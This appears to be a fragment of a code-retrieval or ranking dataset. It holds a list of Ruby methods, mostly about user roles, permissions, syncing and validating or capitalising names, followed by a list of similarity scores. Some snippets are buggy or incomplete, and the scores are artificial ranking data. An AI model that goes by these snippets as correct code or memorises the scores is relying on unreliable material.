"def grant_role_assignments_to_group_members_if_needed\n if entity.type == 'Group'\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n # Tell trigger_sync! to ignore any requests it receives - we'll just put in one\n # sync request after all the new RoleAssignments exist.\n Thread.current[:will_sync_role] = [] unless Thread.current[:will_sync_role]\n Thread.current[:will_sync_role] << role.id\n \n entity.members.each do |m|\n logger.info \"Granting role (#{role.id}, #{role.token}, #{role.application.name}) just granted to group (#{entity.id}/#{entity.name}) to its member (#{m.id}/#{m.name})\"\n ra = RoleAssignment.new\n ra.role_id = role.id\n ra.entity_id = m.id\n ra.parent_id = entity.id\n if ra.save == false\n logger.error \" -- Could not grant role!\"\n end\n end\n \n Thread.current[:will_sync_role].delete(role.id)\n role.trigger_sync!\n end\n end\n end",
"def update_roles_and_groups(role_ids, group_ids)\n # if self.access_to_roles?(roles) && self.access_to_groups?(groups)\n logger.info \"role_ids; #{role_ids.inspect}\"\n self.roles = Role.where(id: role_ids).to_a\n logger.info \"roles: #{self.roles.inspect}\"\n g = Group.where(id: group_ids).to_a\n logger.info \"g; #{g.inspect}\"\n # g.each {|group| self.groups << group unless self.groups.include?(group) }\n self.groups = g\n logger.info \"groups: #{self.groups.to_a.inspect}\"\n\n self.center = self.groups.first.center \n return self\n end",
"def admin_grant_permissions\n @user = User.includes(:perms).find(params[:id])\n authorize @user\n user_perms = current_user.perms\n @perms = user_perms & [Perm.grant_permissions, Perm.modify_templates, Perm.modify_guidance, Perm.use_api, Perm.change_org_details]\n end",
"def set_role\n return if role?\n\n self.role = 'regular'\n end",
"def load_permissions\n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def pass_on_roles\n r = self.roles.to_a\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users)).to_a\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles)).to_a\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users)).to_a\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def update_roles\r\n self.roles.create(:title => \"admin\")\r\n if self.name.eql? \"Grandor Eldoran\"\r\n self.roles.create(:title => \"admin\")\r\n elsif self.name.eql? \"Test2 Test2\"\r\n self.roles.create(:title => \"member\")\r\n end\r\n end",
"def roles=(roles_arr)\n self.authorizations = []\n roles_arr.each do |role|\n find_or_create_authorization(role) unless role.blank?\n end\n end",
"def roles=(roles_arr)\n self.authorizations = []\n roles_arr.each do |role|\n find_or_create_authorization(role) unless role.blank?\n end\n end",
"def update_inherited_members\n if parent\n if inherit_members? && !inherit_members_before_last_save\n remove_inherited_member_roles\n remove_inherited_member_functions # PATCH\n add_inherited_member_roles\n add_inherited_member_functions # PATCH\n elsif !inherit_members? && inherit_members_before_last_save\n remove_inherited_member_roles\n remove_inherited_member_functions # PATCH\n end\n end\n end",
"def permissions\n Rails.cache.fetch(\"permissions_#{self.id}\", expire_in: 1.month) do\n self.roles.map(&:permissions).flatten\n end\n end",
"def my_roles\n @my_roles ||= self.roles.map {|r| r.name}.flatten.freeze\n end",
"def update\n authorize(current_user)\n role = params[:user][:role_ids]\n roleModel =Role.find( role)\n if @user.setRole roleModel.name\n @user.save\n redirect_to users_path, :notice => \"Rolle geändert\"\n else\n redirect_to users_path, :notice => \"Rolle nicht geändert\"\n end\n end",
"def has_roles?(resource_roles)\n fetch_permissions! resource_roles.keys unless @fetched_all\n super\n end",
"def sync\n OPENERP_MAPPING_SEED.map do |openerp_model, rails_data|\n rails_model = rails_data.camelize.constantize\n \n print_syncing(openerp_model, rails_model)\n rails_model.sync(openerp_model) \n\n end\n end",
"def roles(reload = false)\n @roles = nil if reload\n @roles ||=\n Role.find_by_sql ['select * from roles where id in ' +\n self.class.role_assigned_cond(':id'),\n {:id => id}]\n end",
"def check_for_role\n self.role = ROLES[:user] if self.role.nil?\n end",
"def change_role(role)\n role_list.each do |old_role|\n remove_role old_role\n end\n puts role\n add_role role\n puts roles\n end",
"def setup_role\n #get_statuses(@role)\n #set_default_status(@role)\n end",
"def sync_data\n\t\tSYNC_TABLES.each do |sync|\n\t\t\tself.sync_table(sync)\n\t\tend\n\tend",
"def roles=(role_attributes)\n role_attributes.each do |id, attribute|\n role = Role.find(id)\n unless attribute['name'].empty?\n roles << role unless has_role?(role)\n else\n roles.delete(role) if has_role?(role)\n end\n end\n end",
"def synchronize_all_methods; end",
"def setup_role\n if self.role_ids.empty?\n self.role_ids = [2]\n end\n end",
"def grant_role(role)\n self.roles ||= []\n self.roles << role unless self.roles.include?(role)\n end",
"def default_role\n self.role_id = Role.user.id\n end",
"def save\n Role.update id, to_h\n true\n end",
"def default_roles\n if self.user_type == \"admin\"\n self.role_ids = 1\n elsif self.user_type == \"student\"\n self.role_ids = 10\n end\n end",
"def update\n @user = User.find(params[:user_id])\n @roles = Role.all\n \n if current_user.is_admin?\n @user.roles.clear\n @roles.each do |role|\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n else\n @roles.each do |role|\n if !role.admin_only\n if @user.has_role?(role.rolename)\n @user.roles.destroy(role)\n end\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n end\n end\n \n flash[:notice] = I18n.t(\"user.success.roles_updated\")\n reload_page\n \n end",
"def normalize_roles\n self.roles = if self.roles.blank?\n []\n else\n self.class.roles.select { |role_to_check| roles.include?(role_to_check.to_s) }\n end\n end",
"def my_permissions\n @my_permissions ||= self.roles.map {|r| r.permissions.map {|p| p.name}}.flatten.freeze\n end",
"def update\n @user = User.find(params[:id])\n @user.transaction do\n @user.user_roles.destroy_all\n select_roles = params[:user_roles]\n select_roles.each do |role_id|\n @user.user_roles.create(:role_id => role_id)\n end unless select_roles.nil?\n respond_to do |format|\n if @user.save!\n @user.user_visits.destroy_all\n @user.roles.joins(:permissions).select('permissions.controller_name,permissions.action_name,permissions.rest,roles.app_id').each do |record|\n UserVisit.create :controller_name => record.controller_name, :action_name => record.action_name, :rest => record.rest, :app_id => record.app_id, :user_id => @user.id\n end\n format.html { redirect_to admin_role_url(@user), notice: '权限修改成功.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def load_permissions\n \n @current_permissions = current_user.role.permissions.collect{|i| [i.subject_class, i.action]}\n end",
"def update_lists_if_role_changed\n if self.role_changed?\n new_role, self.role = self.role, self.role_was\n decrement_positions_on_lower_items if in_list?\n self.position = nil\n self.role = new_role\n add_to_list_bottom\n end\n end",
"def set_roles\n roles << Role.user unless has_role?(\"user\")\n as_seller! if @registration_as_seller.to_i == 1\n end",
"def set_all_subject_role\n @all_subject_role = AllSubjectRole.find(params[:id])\n end",
"def sync_list(list_type)\n \n #Update account_info \n #TODO make sure this isn't called four times if all lists are syncghronized together\n @account_info = @authenticator.get_account\n\n \n #lists_array is the array that stores the user's lists of the given type\n #For example, @locations\n \n lists_array = self.send(\"#{list_type}s\")\n \n\n #Add any new locations\n new_lists = lists_array.keys.select{|list| list.brand_new}\n \n #TODO rewrite this to use only one API query, if API supports it\n unless new_lists.empty? #Won't be redundant if/when the loop is eliminated\n new_lists.each do |list| \n @authenticator.send(\"add_#{list_type}\", list.json_parsed)\n list.no_longer_new!\n end\n end\n \n #Delete any deleted locations \n\n #Get all the lists that have been deleted locally \n del_lists = lists_array.values.select{|list| list.deleted}\n\n unless del_lists.empty?\n del_lists.each do |list|\n @authenticator.send(\"delete_#{list_type}\", list.json_parsed)}\n lists_array.delete(list.id)\n list.delete!\n list.edit_saved\n end\n end\n \n #TODO delete the lists locally if they have been deleted on the server\n\n #Only fetch from server and do conflict resolution if the last edit on the server was later than the last sync for the list\n \n if self.send(\"lastedit_#{list_type}\") > self.send(\"last_#{list_type}_sync\") \n\n #Get the lists\n lists = @authenticator.send(\"get_#{list}s\")\n\n locally_edited = []\n \n lists.each do |list|\n if not lists_array[list.id]\n #If for some reason we don't have the list locally, store the list locally and move on.\n lists_array[list.id]\n else\n #Otherwise, compare modification times, update local copy when necessary, and resolve editing conflicts\n \n if self.send(\"lastedit_#{list}\") > lists_array[task.id].last_mod\n #The server-stored list was modified more recently than the local task\n #TODO make sure the list object is unique by ID\n \n lists_array[list.id].json_parsed = list.json_parsed\n lists_array[list.id].edit_saved\n else\n #The local list was modified more recently than the server-stored task\n #Assume the local copy is more accurate if the two timestamps are somehow the same\n locally_edited.push(lists_array[task.id])\n @authenticator.send(\"edit_#{list}\", list.json_parsed) unless list.deleted?\n list.edit_saved\n end\n end\n end\n end\n\n\n #TODO will this work if it is not public?\n self.send(\"last#{list_type}_sync=\", Time.now)\n \n #Remove all locally deleted lists of this type\n self.send(\"#{list_type}s=\", lists_array.values.select{|list| not list.deleted})\n\n #All of the lists have now been synchronized since they were last created\n self.send(\"#{list_type}s\").each{|list| list.no_longer_new!}\n end",
"def sync_mirrors_with_regulated_box\n if respond_to?(:mirrors) && is_mirrored_with_regulated_box\n mirrors.each { |mirror| mirror.update_attributes(regulated: self.regulated) }\n end\n end",
"def may(*args)\n p = permissions.for(args.pop).find_or_initialize_by_role_id(id) # need a #find_or_initialize_by_already_specified_scope\n p.mask += Authorize::Permission::Mask[*args]\n p.save\n p.mask.complete\n end",
"def all_roles_with_changes\n (diff_roles + diff_profile.map do |klass|\n roles_that_include(klass)\n end.flatten).uniq\n end",
"def add_permissions\r\n @role = Role.find(params[:id])\r\n end",
"def all\n Request::Roles.list.map { |role| new role }\n end",
"def mass_assignment_authorizer(role = :default)\n super + (!completed? ? READ_ONLY_ATTRIBUTES_AFTER_COMPLETION : [])\n end",
"def editable_by?(project, user=User.current)\n # TODO Manage relay role\n return true if user.admin?\n\n return true if editable\n\n logger.debug \"\\\\=>roles editable_by? project cf #{self.id}/#{self.name} P:#{project.identifier} u:#{user.login}\"\n\n #--------------\n # 1/ User roles\n logger.debug \" =>roles cf roles=#{roles.collect(&:name)}\"\n\n roles_for_project_for_user = user.roles_for_project(project)\n logger.debug \" =>roles roles_for_project_for_user=#{roles_for_project_for_user.collect(&:name)}\"\n\n roles_for_project_for_user_for_cf = roles & roles_for_project_for_user\n\n if roles_for_project_for_user_for_cf.present?\n logger.debug \"/=>roles OK #{roles_for_project_for_user_for_cf.collect(&:name)}\"\n\n return true\n end\n\n #---------------\n # 2/ Relay roles\n if user.respond_to?('relay_roles_for_project')\n relay_roles_for_project_for_user = user.relay_roles_for_project(project, true)\n logger.debug \" =>roles relay_roles_for_project_for_user=#{relay_roles_for_project_for_user.collect(&:name)}\"\n\n relay_roles_for_project_for_user_for_cf = roles & relay_roles_for_project_for_user\n\n if relay_roles_for_project_for_user_for_cf.present?\n logger.debug \"/=>roles OK #{relay_roles_for_project_for_user_for_cf.collect(&:name)}\"\n\n return true\n end\n end\n\n logger.debug \"/=>roles KO\"\n\n false\n end",
"def upgrade_to_main_user\n self.is_main_user = true \n self.save \n \n admin_role = Role.find_by_name(USER_ROLE[:admin]) \n self.add_role_if_not_exists(admin_role ) \n end",
"def shared\n role_values = Role.where(plan: self).where(Role.not_creator_condition).any? \n end",
"def mirror_all!\n mirror_files_for mirrored_components + mirrored_public_components\n end",
"def update_user_roles\n #\n # Note: this method supports multiple roles, but relies on User.determine_role,\n # which does not support multiple roles\n #\n users = User.all\n users.each do |user|\n members = user.members\n # Check if the user has a member\n if members.present?\n member_ids = members.pluck(:id)\n # Retrieve the IDs of all existing MembersRoles & RolesUsers\n member_role_ids = MembersRole.where(member_id: member_ids).pluck(:role_id).uniq\n user_role_ids = RolesUser.where(user_id: user.id).pluck(:role_id)\n\n # Strip out the common ids between user_role_ids & member_role_ids\n kept_ids = []\n user_role_ids.each do |role_id|\n if member_role_ids.include?(role_id)\n kept_ids << role_id\n member_role_ids.delete(role_id)\n end\n end\n user_role_ids.delete_if { |role_id| kept_ids.include?(role_id) }\n\n # user_role_ids should only contain the role_ids for roles the user should no longer have\n # Delete all RolesUsers left in the user_role_ids\n # NOTE: delete_all does not trigger callbacks.\n RolesUser.where(user_id: user.id, role_id: user_role_ids).delete_all\n\n # member_role_ids should only contain the role_ids for roles the user doesn't already have.\n # Create new RolesUser records for each id left in member_role_ids\n create_roles_users = []\n member_role_ids.each do |role_id|\n create_roles_users << {user_id: user.id, role_id: role_id}\n end\n RolesUser.create(create_roles_users)\n else\n # otherwise, determine the user's roles\n role_ids = []\n role_ids << User.determine_role(user.main_character_id)\n # If the user has no known roles, destroy that user.\n if role_ids.empty?\n user.destroy\n else\n # Otherwise, give them the roles\n create_roles_users = []\n role_ids.each do |role_id|\n create_roles_users << {user_id: user.id, role_id: role_id}\n end\n RolesUser.create(create_roles_users)\n end\n end\n end\n end",
"def active_role=(role)\n if self.active_role_id != role.id\n self.password = ''\n self.update_attribute(:active_role_id, role.id)\n self.reload\n end\n end"
] |
[
"0.58430797",
"0.5827227",
"0.5648994",
"0.5558113",
"0.5558113",
"0.5474935",
"0.54747057",
"0.54578495",
"0.5399092",
"0.53843355",
"0.53801304",
"0.5377019",
"0.5375818",
"0.5374203",
"0.5360095",
"0.53585774",
"0.5342192",
"0.53239864",
"0.5293868",
"0.5275154",
"0.5275154",
"0.5275154",
"0.5272972",
"0.5265507",
"0.52531713",
"0.5244457",
"0.524391",
"0.5243326",
"0.5243326",
"0.5236233",
"0.5215671",
"0.52117336",
"0.5185736",
"0.5179767",
"0.51543987",
"0.51509225",
"0.514415",
"0.51431334",
"0.51327074",
"0.5095914",
"0.5088062",
"0.50864494",
"0.5084962",
"0.50801915",
"0.5065338",
"0.5059317",
"0.5057682",
"0.50413275",
"0.50374097",
"0.5030922",
"0.50292075",
"0.5015987",
"0.5013568",
"0.5013484",
"0.5006742",
"0.49925238",
"0.49908063",
"0.49876654",
"0.49874902",
"0.49800074",
"0.49740463",
"0.49740463",
"0.4959782",
"0.4953549",
"0.49481744",
"0.49466282",
"0.4939912",
"0.4937057",
"0.4935728",
"0.4933047",
"0.49322358",
"0.49291116",
"0.49278605",
"0.4927411",
"0.49260873",
"0.49243528",
"0.492269",
"0.4921061",
"0.49210536",
"0.4920204",
"0.49102923",
"0.49072146",
"0.49071828",
"0.490259",
"0.49016595",
"0.48999956",
"0.4899935",
"0.48992682",
"0.48935524",
"0.48820484",
"0.48811987",
"0.48717764",
"0.48650134",
"0.48635408",
"0.4862423",
"0.48565638",
"0.48455492",
"0.4838464",
"0.4836341",
"0.48357525",
"0.4835448"
] |
0.0
|
-1
|
A name is valid is if satisfies all of the following: contains at least a first name and last name, separated by spaces each part of the name should be capitalized Hint: use str.upcase or str.downcase "a".upcase => "A"
|
def is_valid_name(str)
str_arr = str.split
check = []
str_arr.each do |ele|
formatted = ele[0].upcase + ele[1..-1].downcase
check << formatted
end
if check.length < 2 || check.join(" ") != str
return false
else
return true
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def is_valid_name(str)\n split_name = str.split(' ')\n\n first_and_last_name = split_name.length > 1; # Has a first and last name ?\n capitalized = true; # Each part of the name is properly capitalized ?\n\n split_name.each do | word |\n capitalized = word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase # set capitalized to firt letter upcase? && remaining letters downcase?\n end\n\n return first_and_last_name && capitalized\nend",
"def is_valid_name(name)\n name_arr = name.split(\" \")\n if (name_arr.length > 1)\n name_arr.each do |word|\n if !(word[0] == word[0].upcase && word[1..-1] == word[1..-1].downcase)\n return false\n end\n end\n else\n return false\n end\n true\nend",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length < 2\n return false\n end\n\n parts.each do |part|\n if !(part[0] == part[0].upcase && part[1..-1] == part[1..-1].downcase)\n return false\n end\n end\n\n return true\nend",
"def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"def is_valid_name(str)\r\n\twords = str.split(\" \")\r\n \tif words.length < 2\r\n return false\r\n end\r\n \twords.each do |word|\r\n if !capitalized(word)\r\n return false\r\n end\r\n end\r\n return true\r\nend",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length <2\n return false;\n end\n parts.each do |word|\n if word[0] == word[0].upcase && word[1..-1]==word[1..-1].downcase\n return true\n else\n return false\n end \n end \nend",
"def is_valid_name(str)\n\tnames_arr = str.split(\" \")\n if names_arr.length < 2\n return false\n end\n\n \tnames_arr.each do |name|\n if check_case(name)\n return true\n \n else\n return false\n end\n end \nend",
"def is_valid_name(str)\n\twords = str.split(\" \")\n \tif words.length >= 2\n \twords.each do |word|\n temp = word[0].upcase + word[1..-1].downcase\n if temp != word\n return false\n end\n end\n return true\n end\n return false\nend",
"def is_valid_name(str)\n parts = str.split(\" \")\n isTrue = true\n parts.each do |part|\n if part[0] == part[0].downcase\n isTrue = false\n end\n part[1..-1].each_char do |chr|\n if chr == chr.upcase\n isTrue = false\n end\n end\n end \n return isTrue && parts.length > 1\nend",
"def valid_name(full_name)\n names = full_name.split\n\n if names.size < 2 ||\n (names[-1].size < 3 || names[-1][-1] == \".\") ||\n names.select {|name| name.size == 1}.count > 0 ||\n names.select {|name| name[0] == name[0].downcase}.count > 0 ||\n (names.size > 2 && names[0].size == 2 && names[1].size > 2 && names[0][-1] == \".\")\n return false\n end\n\n names\nend",
"def validate_first_and_last_name\n error_message = \"\"\n error_message += \"First/Last Name should be Alphanumeric, hyphen or period only!\" if $IS_PARTNER_BAC &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|^[\\-\\.]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\.]*$/))\n\n error_message += \"First/Last Name should be Alphanumeric, hyphen, space or period only!\" if !$IS_PARTNER_BAC &&\n facility.details[:patient_name_format_validation] &&\n !last_name.blank? && !first_name.blank? &&\n (last_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !last_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/)) &&\n (first_name.match(/\\.{2}|\\-{2}|\\s{2}|^[\\-\\.\\s]+$/) ||\n !first_name.match(/^[A-Za-z0-9\\-\\s\\.]*$/))\n \n errors.add(:base, error_message) unless error_message == \"\"\n end",
"def determine_name_parts(name)\n @first_name = name[0..name.index(\" \")].strip.downcase\n @last_name = name[name.index(\" \")..name.length].strip.downcase\n end",
"def format_name(first, last)\n\n if first.length == 0\n p nil\n elsif last.length == 0\n p nil\n else\n # this will remove all empty spaces\n first_name = first.gsub(/[^A-Za-z]/,\"\")\n last_name = last.gsub(/[^A-Za-z]/, \"\")\n # this will get the first letter in first name\n first_inlast = first_name[0]\n # this will return the first letter of the name + the last name\n full_name = first_inlast + last_name\n # this will return the full name lowercased along with deleting white spaces\n lowercase_name = full_name.downcase\n # remove_allcharacters = full_name.gsub(/[^a-zA-Z0-9\\-]/,\"\")\n p lowercase_name\n end\nend",
"def full_name\n new_name = first_name.capitalize + \" \" + last_name.capitalize\n final_name = new_name.split(' ').each(&:capitalize!).join(' ')\n end",
"def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"def format_name(first, last)\n return nil if last.empty? || first.empty?\n first = first.gsub(/[^A-Za-z]/, '')\n last = last.gsub(/[^A-Za-z]/, '')\n (first[0] + last).downcase\nend",
"def name_valid_format\n if name.present? and not name.match(/[\\w]+([\\s]+[\\w]+){1}+/)\n errors.add :name , \"must be seperated by space and should not contain any special characters.\"\n end\n end",
"def names_valid?\n return nil unless AccountType.individual?(account_type)\n\n errors.add(:forename, :cant_be_blank) if forename.to_s.empty?\n errors.add(:surname, :cant_be_blank) if surname.to_s.empty?\n names_length_valid?\n end",
"def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend",
"def full_name\n name = first_name.strip # required\n name << \" #{middle_name.strip}\" if !middle_name.nil?\n name << \" #{last_name.strip}\" # required\n name << \" #{mother_last_name.strip}\" if !mother_last_name.nil?\n\n # capitalize each word and return the capitalized version\n name.split.map(&:capitalize).join(' ')\n end",
"def full_name_format\n valid_full_name = true\n\n if !self.name.nil?\n # Must contains white space\n valid_full_name = false if (/^(.*\\s+.*)+$/i =~ self.name).nil?\n # Must be alpha\n valid_full_name = false if(/^[A-Z]+$/i =~ self.name.remove(' ')).nil?\n else\n valid_full_name = false\n end\n\n if !valid_full_name\n self.errors.add(:name, 'deve ser Completo')\n raise ActiveRecord::Rollback\n end\n end",
"def is_valid_name(name)\n return false if name.split.length < 2\n name == format_name(name)\nend",
"def name(entered_name)\n split_name = entered_name.split\n @first_name = split_name[0].capitalize\n @last_name = split_name[1].capitalize\n end",
"def format_name(first, last)\n\tuser_name = \"\"\n\tif !first.empty? && !last.empty?\n\t \tuser_name = first.strip[0].downcase + last.strip.split.join('')\n\telse\n\t\treturn nil\n\tend\n\tuser_name.downcase\nend",
"def format_name(first, last)\n first.empty? || last.empty? ? nil :\n (first.gsub(/[^A-z]/, \"\")[0] + last.gsub(/[^A-z]/, \"\")).downcase\nend",
"def format_name(first, last)\n\treturn nil if first.empty? || last.empty?\n (first.gsub(/[\\W0-9_]/, \"\")[0] + last.gsub(/[\\W0-9_]/, \"\")).downcase\nend",
"def format_name(first, last)\n return nil if first.empty? || last.empty?\n first.gsub! (/[^a-z]/i, \"\")\n last.gsub! (/[^a-z]/i, \"\")\n ((first.split(\" \").join[0]<<last).split(\" \").join.downcase)\n\nend",
"def format_name(first, last)\nif first.length<1 || last.length<1\n\tnil\nelse\n first = first.split.join\n last = last.split.join\n str = (first[0]+last).downcase.gsub(/[^0-9a-z]/i, '')\nend\nend",
"def format_name(first, last)\n if first == \"\" || last == \"\"\n \tnil\n else \n \tfirst.gsub!(/[^A-Za-z]/, '')\n \tlast.gsub!(/[^A-Za-z]/, '')\n \tfirst = first.strip\n\tlast = last.split.join(\"\").strip\n\tuser_name = first[0] + last\n\tuser_name = user_name.downcase \n end\n user_name\nend",
"def fake_name(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0].downcase \n\treal_last_name = real_full_name[1].downcase\n\talphabet = [\"a\",\"b\", \"c\", \"d\", \"e\",\"f\", \"g\", \"h\",\"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\n\twhile i < length_first\n\t\tif real_first_name[i] == \"z\"\n\t\t\tfake_first_name += \"a\"\n\t\telsif real_first_name[i] == \"a\" || real_first_name[i] ==\"e\" || \n\t\t\t real_first_name[i] == \"i\" || real_first_name[i] == \"o\" || \n\t\t\t real_first_name[i] == \"u\"\n\t\t\tfake_first_name += real_first_name[i] \n\t\telsif \n\t\t\tind = alphabet.index(real_first_name[i])\n\t\t\tfake_first_name += alphabet[ind+1]\n\t\tend \n\t\ti+=1\n\t\t#fake_first_name[0] = fake_first_name[0].upcase\n\tend \n\tfake_first_name\nend",
"def has_middle_name\n @full_name.split(' ').length >= 3\n end",
"def name_valid?(name)\n name.nil? || /^[A-Za-z]{2,}$/.match?(name)\n end",
"def full_name(first_name, last_name)\n first_name.capitalize + ' ' + last_name.capitalize\nend",
"def capitalize_names\n unless first_name.nil?\n self.first_name.downcase!\n self.first_name.capitalize!\n end\n unless last_name.nil?\n self.last_name.downcase!\n self.last_name.capitalize!\n end\n end",
"def full_name(first_name, last_name)\n name = first_name.capitalize + \" \" + last_name.capitalize\n return name\nend",
"def format_name(first, last)\n\tf_return = \"\"\n\tl_return = \"\"\n\tif first[0]\n\t\tf_return = first.gsub(\" \", \"\")\n\t\tf_return =f_return.gsub(/[^A-Za-z]/, '')\n\t\tf_return = f_return[0].downcase\n\telse\n\t\tf_return = \"\"\n\tend\n\tif last[0]\n\t\tl_return = last.gsub(\" \", \"\")\n\t\tl_return = l_return.gsub(/[^A-Za-z]/, '')\n\t\tl_return.downcase!\n\telse\n\t\tlast = \"\"\n\tend\n if f_return[0] && l_return[0]\n \treturn f_return+l_return\n else\n \treturn nil\n end\nend",
"def full_name(first,last) #convention = snake_case ; for Js = CamelCase\n name = first.capitalize + \" \" + last.capitalize\n return name\nend",
"def format_name(first, last)\n if last == '' || first == ''\n word = nil\n else\n user_name = ''\n user_name += first.gsub(' ', '').gsub(/[^0-9A-Za-z]/, '')[0]\n user_name += (last.gsub(' ','').gsub(/[^0-9A-Za-z]/, ''))\n user_name.gsub(/\\d/, '').downcase\n end\nend",
"def format_name(first, last)\n if first.empty? || last.empty?\n nil\n else\n formatted_first = first.delete(' ')\n formatted_last = last.delete(' ')\n return (formatted_first[0] + formatted_last).downcase\n end\nend",
"def first_name_same_first_and_last_letter\n first_name[0] == first_name[-1]\n end",
"def format_name(first, last)\n if first == \"\" || last == \"\"\n return nil\n end\n new_first = first.gsub(/\\W+/,\"\")\n new_last = last.gsub(/\\W+/,\"\")\n username = new_first[0] + new_last\n username = username.downcase.gsub(/\\d/,\"\")\n\nend",
"def full_name\n if first_name? && last_name?\n name_words = first_name.split(\" \") + last_name.split(\" \")\n return name_words.map{ |w| w.capitalize }.join(\" \")\n else\n return email\n end\n end",
"def cap_names\n self[:first_name].capitalize if self[:first_name] != nil\n self[:last_name].capitalize if self[:last_name] != nil\n end",
"def format_name(first, last)\n if first.length == 0\n p nil\n elsif last.length == 0\n p nil\n else\n first_name = first.delete(\" \")\n last_name = last.delete(\" \")\n first_init = first_name[0]\n name_temp = first_init + last_name\n name_v1 = name_temp.delete(\" \").downcase\n p name_v1\n end\nend",
"def format_name(first, last)\n first.gsub!(/\\d|\\W|_/, \"\")\n last.gsub!(/\\d|\\W|_/, \"\")\n if first.empty? || last.empty?\n nil\n else\n first.split(\" \").join.downcase[0] + last.split(\" \").join.downcase\n end\nend",
"def format_name(first, last)\n\n if (first == \"\" || last == \"\")\n nil\n else\n first_name = (first.gsub /\\s/, '')[0] + last\n first_name.downcase.gsub /\\s/, ''\n end\nend",
"def fake_name_c2(real_name)\n\treal_full_name = real_name.split(\" \")\n\treal_first_name = real_full_name[0] \n\treal_last_name = real_full_name[1]\n\ti = 0\n\tfake_first_name = \"\"\n\tfake_last_name = \"\"\n\tvowel_index = \"\"\n\tlength_first = real_first_name.length\n\tlength_last = real_last_name.length \n\t\twhile i < length_last\n\t\tif real_last_name[i] == \"z\"\n\t\t\tfake_last_name += \"a\"\n\t\telsif real_last_name[i] == \"a\" || real_last_name[i] ==\"e\" || \n\t\t\t real_last_name[i] == \"i\" || real_last_name[i] == \"o\" || \n\t\t\t real_last_name[i] == \"u\"\n\t\t\tfake_last_name += real_last_name[i] \n\t\telse \n\t\t\tfake_last_name += real_last_name[i].next \n\t\tend \n\t\ti+=1\n\tend\n\tfake_last_name\nend",
"def format_name(first, last)\n if (first.empty? || last.empty?)\n nil\n else\n (first.gsub(/\\s+/, '')[0]+last.gsub(/\\s+/, '')).downcase\n end\nend",
"def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end",
"def name_check(name)\n if name.nil? or name.empty? or name =~ /\\W+/ or name == \"0\"\n\n #raise an error in case of invalid input\n raise ArgumentError.new(\"Error - invalid name\")\n end\n #capitalize the first letter of the name\n name = name.capitalize\n end",
"def format_name(first, last)\n(First[0]+last).downcase\nend",
"def name\n [first_name, initial, last_name].select {|x| not x.nil?}.map {|x| x.strip}.join(\" \").titleize\n end",
"def is_title_case\n if title.split.any?{|w|w[0].upcase != w[0]}\n errors.add(:title, \"Title must be in title case\")\n end\n end",
"def validate_name\n errors.add(:abstract, \"person_name or company_name must be present\") unless (person_name || company_name)\n end",
"def cleanup_surname(name)\n if name.length > 4\n name.gsub!(/^Mc(\\w+)/) { |s| \"Mc#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Mac(\\w+)/) { |s| \"Mac#{$1.capitalize}\" }\n name.gsub!(/^Osh(\\w+)/) { |s| \"O'sh#{$1}\" }\n name.gsub!(/^Van(\\w+)/) { |s| \"Van#{$1.capitalize}\" }\n name.gsub!(/^Von(\\w+)/) { |s| \"Von#{$1.capitalize}\" } \n# name.gsub!(/^Dev(\\w+)/) { |s| \"DeV#{$1}\" } \n end\n name\n end",
"def format_name(first, last)\n return nil if first.empty? || last.empty?\n f = first.delete(\" \")\n l = last.delete(\" \")\n username = f[0]\n username << l\n user = username.downcase\n user.gsub(/[\\W]/, '') # this is meant to remove special characters, but it doesn't work!\nend",
"def normalize_name\n @normalize_name ||= begin\n return '' if name.empty?\n\n exclude = %w[corporation institute organization university\n all and of the].join('|')\n tmp = name.dup\n tmp.gsub!(/#{exclude}/i, '')\n tmp.gsub!(/\\s+/, ' ')\n tmp.strip!\n tmp.downcase # it's not case sensitive\n end\n end",
"def first_name_first_letter_is_a\n first_name[0] == 'a'\n end",
"def full_name\n \"#{first_name} #{last_name}\".gsub(/\\b('?[a-z])/) { $1.capitalize }.strip\n end",
